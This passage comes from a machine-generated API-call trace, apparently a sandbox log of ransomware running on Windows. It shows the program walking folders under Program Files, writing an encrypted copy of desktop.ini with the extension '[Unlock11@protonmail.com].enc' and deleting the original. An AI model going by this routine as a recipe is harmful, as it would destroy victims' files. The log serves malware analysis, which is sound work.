dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0117.681] FindNextFileA (in: hFindFile=0x10f7510, lpFindFileData=0x9bb0b0 | out: lpFindFileData=0x9bb0b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bae6c, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0 [0117.681] FindClose (in: hFindFile=0x10f7510 | out: hFindFile=0x10f7510) returned 1 [0117.681] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files" (normalized: "c:\\program files\\common files")) returned 0x10 [0117.682] GetFileAttributesA (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0117.682] GetFileAttributesA (lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer")) returned 0x10 [0117.682] GetFileAttributesA (lpFileName="C:\\Program Files\\Java" (normalized: "c:\\program files\\java")) returned 0x10 [0117.682] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office" (normalized: "c:\\program files\\microsoft office")) returned 0x30 [0117.682] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office 15" (normalized: "c:\\program files\\microsoft office 15")) returned 0x10 [0117.683] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881138, Size=0x20) returned 0x33ea728 [0117.683] GetFileAttributesA (lpFileName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 0x30 [0117.683] GetFileAttributesA (lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild")) returned 0x10 [0117.683] GetFileAttributesA (lpFileName="C:\\Program Files\\Reference Assemblies" (normalized: "c:\\program files\\reference assemblies")) returned 0x10 [0117.683] GetFileAttributesA (lpFileName="C:\\Program Files\\rempl" (normalized: "c:\\program files\\rempl")) returned 0x30 [0117.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33ea728, Size=0x40) returned 0x38878d8 [0117.685] GetFileAttributesA (lpFileName="C:\\Program Files\\Uninstall Information" (normalized: "c:\\program files\\uninstall information")) returned 0x12 [0117.685] GetFileAttributesA (lpFileName="C:\\Program Files\\UNP" (normalized: "c:\\program files\\unp")) returned 0x30 [0117.686] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Defender" (normalized: "c:\\program files\\windows defender")) returned 0x11 [0117.686] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection" (normalized: "c:\\program files\\windows defender advanced threat protection")) returned 0x10 [0117.687] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Mail" (normalized: "c:\\program files\\windows mail")) returned 0x10 [0117.687] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Media Player" (normalized: "c:\\program files\\windows media player")) returned 0x10 [0117.687] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Multimedia Platform" (normalized: "c:\\program files\\windows multimedia platform")) returned 0x10 [0117.687] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows NT" (normalized: "c:\\program files\\windows nt")) returned 0x10 [0117.687] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38878d8, Size=0x64) returned 0x2a19508 [0117.688] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer")) returned 0x10 [0117.688] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Portable Devices" (normalized: "c:\\program files\\windows portable devices")) returned 0x10 [0117.688] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Security" (normalized: "c:\\program files\\windows security")) returned 0x10 [0117.689] GetFileAttributesA (lpFileName="C:\\Program Files\\Windows Sidebar" (normalized: "c:\\program files\\windows sidebar")) returned 0x16 [0117.689] GetFileAttributesA (lpFileName="C:\\Program Files\\WindowsApps" (normalized: "c:\\program files\\windowsapps")) returned 0x12 [0117.689] GetFileAttributesA (lpFileName="C:\\Program Files\\WindowsPowerShell" (normalized: "c:\\program files\\windowspowershell")) returned 0x10 [0117.689] GetFullPathNameA (in: lpFileName="C:\\Program Files\\desktop.ini", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\desktop.ini", lpFilePart=0x9bada4*="desktop.ini") returned 0x1c [0117.689] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1 [0117.690] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682dc | out: pbBuffer=0x36682dc) returned 1 [0117.690] CreateFileA (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.690] GetFileType (hFile=0x39c) returned 0x1 [0117.690] GetFileType (hFile=0x39c) returned 0x1 [0117.690] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.690] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.691] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.691] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.691] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.691] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.691] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.691] GetLastError () returned 0x0 [0117.691] GetCurrentThreadId () returned 0x9b0 [0117.691] GetLastError () returned 0x0 [0117.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265358 | out: hHeap=0x2ad0000) returned 1 [0117.691] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea728 | out: hHeap=0x2ad0000) returned 1 [0117.691] GetLastError () returned 0x0 [0117.691] GetLastError () returned 0x0 [0117.691] GetLastError () returned 0x0 [0117.692] GetLastError () returned 0x0 [0117.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0117.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653d8 [0117.692] GetLastError () returned 0x0 [0117.692] CreateFileA (lpFileName="C:\\Program Files\\desktop.ini.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\desktop.ini.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.692] GetFileType (hFile=0x3ac) returned 0x1 [0117.693] GetLastError () returned 0x0 [0117.693] GetCurrentThreadId () returned 0x9b0 [0117.693] GetLastError () returned 0x0 [0117.693] GetFileType (hFile=0x3ac) returned 0x1 [0117.693] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.693] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.693] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.693] GetLastError () returned 0x0 [0117.694] GetCurrentThreadId () returned 0x9b0 [0117.694] GetLastError () returned 0x0 [0117.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0117.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0117.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0117.694] GetLastError () returned 0x0 [0117.694] GetLastError () returned 0x0 [0117.694] GetCurrentThreadId () returned 0x9b0 [0117.694] GetLastError () returned 0x0 [0117.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0117.694] GetLastError () returned 0x0 [0117.695] GetLastError () returned 0x0 [0117.695] GetCurrentThreadId () returned 0x9b0 [0117.695] GetLastError () returned 0x0 [0117.695] GetLastError () returned 0x0 [0117.696] GetLastError () returned 0x0 [0117.696] GetCurrentThreadId () returned 0x9b0 [0117.696] GetLastError () returned 0x0 [0117.696] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xc3) returned 0x35c5908 [0117.696] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xc5) returned 0x35c5908 [0117.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653e8 [0117.696] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265288 | out: hHeap=0x2ad0000) returned 1 [0117.696] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xc8) returned 0x35b8fb0 [0117.696] GetCurrentThreadId () returned 0x9b0 [0117.696] GetLastError () returned 0x0 [0117.696] GetLastError () returned 0x0 [0117.697] GetLastError () returned 0x0 [0117.697] GetLastError () returned 0x0 [0117.697] GetCurrentThreadId () returned 0x9b0 [0117.697] GetLastError () returned 0x0 [0117.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b8fb0 | out: hHeap=0x2ad0000) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0117.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0117.697] GetLastError () returned 0x0 [0117.697] GetLastError () returned 0x0 [0117.697] GetCurrentThreadId () returned 0x9b0 [0117.697] GetLastError () returned 0x0 [0117.697] GetLastError () returned 0x0 [0117.698] GetLastError () returned 0x0 [0117.698] GetCurrentThreadId () returned 0x9b0 [0117.698] GetLastError () returned 0x0 [0117.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c59d8 | out: hHeap=0x2ad0000) returned 1 [0117.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.698] GetLastError () returned 0x0 [0117.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0117.699] CloseHandle (hObject=0x3ac) returned 1 [0117.699] GetLastError () returned 0x0 [0117.699] GetCurrentThreadId () returned 0x9b0 [0117.699] GetLastError () returned 0x0 [0117.699] GetLastError () returned 0x0 [0117.700] CloseHandle (hObject=0x39c) returned 1 [0117.700] GetLastError () returned 0x0 [0117.700] GetCurrentThreadId () returned 0x9b0 [0117.700] GetLastError () returned 0x0 [0117.700] GetLastError () returned 0x0 [0117.700] GetLastError () returned 0x0 [0117.700] GetLastError () returned 0x0 [0117.700] GetLastError () returned 0x0 [0117.700] DeleteFileA (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0117.701] GetLastError () returned 0x0 [0117.701] GetCurrentThreadId () returned 0x9b0 [0117.702] GetLastError () returned 0x0 [0117.702] GetCurrentThreadId () returned 0x9b0 [0117.702] GetLastError () returned 0x0 [0117.702] GetLastError () returned 0x0 [0117.702] GetLastError () returned 0x0 [0117.702] GetLastError () returned 0x0 [0117.702] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd236209, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd236209, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7650 [0117.702] GetLastError () returned 0x0 [0117.702] GetCurrentThreadId () returned 0x9b0 [0117.702] GetLastError () returned 0x0 [0117.703] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd236209, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xcd236209, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0117.703] GetLastError () returned 0x0 [0117.703] GetCurrentThreadId () returned 0x9b0 [0117.703] GetLastError () returned 0x0 [0117.703] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0117.703] GetLastError () returned 0x0 [0117.703] GetCurrentThreadId () returned 0x9b0 [0117.703] GetLastError () returned 0x0 [0117.703] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7896cd0, ftCreationTime.dwHighDateTime=0x1d4f8fe, ftLastAccessTime.dwLowDateTime=0x473a53a0, ftLastAccessTime.dwHighDateTime=0x1d51d7d, ftLastWriteTime.dwLowDateTime=0x473a53a0, ftLastWriteTime.dwHighDateTime=0x1d51d7d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="lamps-camel-using.exe", cAlternateFileName="LAMPS-~1.EXE")) returned 1 [0117.704] GetLastError () returned 0x0 [0117.704] GetCurrentThreadId () returned 0x9b0 [0117.704] GetLastError () returned 0x0 [0117.704] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0117.704] GetLastError () returned 0x0 [0117.704] GetCurrentThreadId () returned 0x9b0 [0117.704] GetLastError () returned 0x0 [0117.704] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc240c240, ftCreationTime.dwHighDateTime=0x1d4fa3d, ftLastAccessTime.dwLowDateTime=0x2221ab40, ftLastAccessTime.dwHighDateTime=0x1d4e2ef, ftLastWriteTime.dwLowDateTime=0x2221ab40, ftLastWriteTime.dwHighDateTime=0x1d4e2ef, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="sample_organizing_scsi.exe", cAlternateFileName="SAMPLE~1.EXE")) returned 1 [0117.705] GetLastError () returned 0x0 [0117.705] GetCurrentThreadId () returned 0x9b0 [0117.705] GetLastError () returned 0x0 [0117.705] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="Services", cAlternateFileName="")) returned 1 [0117.705] GetLastError () returned 0x0 [0117.705] GetCurrentThreadId () returned 0x9b0 [0117.705] GetLastError () returned 0x0 [0117.705] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x33ea728 [0117.705] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0117.705] GetLastError () returned 0x0 [0117.705] GetCurrentThreadId () returned 0x9b0 [0117.705] GetLastError () returned 0x0 [0117.705] FindNextFileA (in: hFindFile=0x10f7650, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0117.706] GetLastError () returned 0x12 [0117.706] GetCurrentThreadId () returned 0x9b0 [0117.706] GetLastError () returned 0x12 [0117.706] GetLastError () returned 0x12 [0117.706] FindClose (in: hFindFile=0x10f7650 | out: hFindFile=0x10f7650) returned 1 [0117.706] GetLastError () returned 0x12 [0117.706] GetLastError () returned 0x12 [0117.706] GetLastError () returned 0x12 [0117.706] GetLastError () returned 0x12 [0117.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.706] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\DESIGNER" (normalized: "c:\\program files\\common files\\designer")) returned 0x30 [0117.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0117.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0117.707] GetCurrentThreadId () returned 0x9b0 [0117.707] GetLastError () returned 0x12 [0117.707] GetLastError () returned 0x12 [0117.707] GetLastError () returned 0x12 [0117.707] GetLastError () returned 0x12 [0117.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.707] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\lamps-camel-using.exe" (normalized: "c:\\program files\\common files\\lamps-camel-using.exe")) returned 0x20 [0117.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0117.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0117.708] GetLastError () returned 0x12 [0117.708] GetLastError () returned 0x12 [0117.708] GetLastError () returned 0x12 [0117.708] GetLastError () returned 0x12 [0117.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0117.708] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared" (normalized: "c:\\program files\\common files\\microsoft shared")) returned 0x30 [0117.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0117.709] GetCurrentThreadId () returned 0x9b0 [0117.709] GetLastError () returned 0x12 [0117.709] GetLastError () returned 0x12 [0117.709] GetLastError () returned 0x12 [0117.709] GetLastError () returned 0x12 [0117.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0117.709] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\sample_organizing_scsi.exe" (normalized: "c:\\program files\\common files\\sample_organizing_scsi.exe")) returned 0x20 [0117.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0117.709] GetLastError () returned 0x12 [0117.709] GetLastError () returned 0x12 [0117.709] GetLastError () returned 0x12 [0117.710] GetLastError () returned 0x12 [0117.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0117.710] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Services" (normalized: "c:\\program files\\common files\\services")) returned 0x10 [0117.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0117.711] GetCurrentThreadId () returned 0x9b0 [0117.711] GetLastError () returned 0x12 [0117.711] GetLastError () returned 0x12 [0117.711] GetLastError () returned 0x12 [0117.711] GetLastError () returned 0x12 [0117.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0117.711] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System" (normalized: "c:\\program files\\common files\\system")) returned 0x10 [0117.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0117.712] GetCurrentThreadId () returned 0x9b0 [0117.712] GetLastError () returned 0x12 [0117.712] GetLastError () returned 0x12 [0117.712] GetLastError () returned 0x12 [0117.712] GetLastError () returned 0x12 [0117.712] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\lamps-camel-using.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\lamps-camel-using.exe", lpFilePart=0x9bada4*="lamps-camel-using.exe") returned 0x33 [0117.712] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0117.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0117.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0117.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0117.713] GetCurrentThreadId () returned 0x9b0 [0117.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea368 [0117.713] GetLastError () returned 0x0 [0117.713] GetLastError () returned 0x0 [0117.713] GetLastError () returned 0x0 [0117.713] GetLastError () returned 0x0 [0117.713] GetCurrentThreadId () returned 0x9b0 [0117.713] GetLastError () returned 0x0 [0117.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea368 | out: hHeap=0x2ad0000) returned 1 [0117.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0e8 [0117.714] GetLastError () returned 0x0 [0117.714] GetLastError () returned 0x0 [0117.714] GetLastError () returned 0x0 [0117.714] GetLastError () returned 0x0 [0117.714] GetCurrentThreadId () returned 0x9b0 [0117.714] GetLastError () returned 0x0 [0117.714] GetCurrentThreadId () returned 0x9b0 [0117.714] GetLastError () returned 0x0 [0117.714] GetLastError () returned 0x0 [0117.714] GetLastError () returned 0x0 [0117.715] GetLastError () returned 0x0 [0117.715] GetCurrentThreadId () returned 0x9b0 [0117.715] GetLastError () returned 0x0 [0117.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0e8 | out: hHeap=0x2ad0000) returned 1 [0117.715] GetLastError () returned 0x0 [0117.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0117.715] GetLastError () returned 0x0 [0117.715] GetLastError () returned 0x0 [0117.715] GetLastError () returned 0x0 [0117.715] GetCurrentThreadId () returned 0x9b0 [0117.715] GetLastError () returned 0x0 [0117.715] GetLastError () returned 0x0 [0117.716] GetLastError () returned 0x0 [0117.716] GetLastError () returned 0x0 [0117.716] GetLastError () returned 0x0 [0117.716] GetCurrentThreadId () returned 0x9b0 [0117.716] GetLastError () returned 0x0 [0117.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0117.716] GetLastError () returned 0x0 [0117.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0117.716] GetLastError () returned 0x0 [0117.716] GetLastError () returned 0x0 [0117.716] GetLastError () returned 0x0 [0117.717] GetCurrentThreadId () returned 0x9b0 [0117.717] GetLastError () returned 0x0 [0117.717] GetLastError () returned 0x0 [0117.717] GetLastError () returned 0x0 [0117.717] GetLastError () returned 0x0 [0117.717] GetLastError () returned 0x0 [0117.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.717] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\lamps-camel-using.exe" (normalized: "c:\\program files\\common files\\lamps-camel-using.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7896cd0, ftCreationTime.dwHighDateTime=0x1d4f8fe, ftLastAccessTime.dwLowDateTime=0x473a53a0, ftLastAccessTime.dwHighDateTime=0x1d51d7d, ftLastWriteTime.dwLowDateTime=0x473a53a0, ftLastWriteTime.dwHighDateTime=0x1d51d7d, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1 [0117.717] GetLastError () returned 0x0 [0117.717] GetCurrentThreadId () returned 0x9b0 [0117.718] GetLastError () returned 0x0 [0117.718] HeapFree (in: hHeap=0x2ad0000, 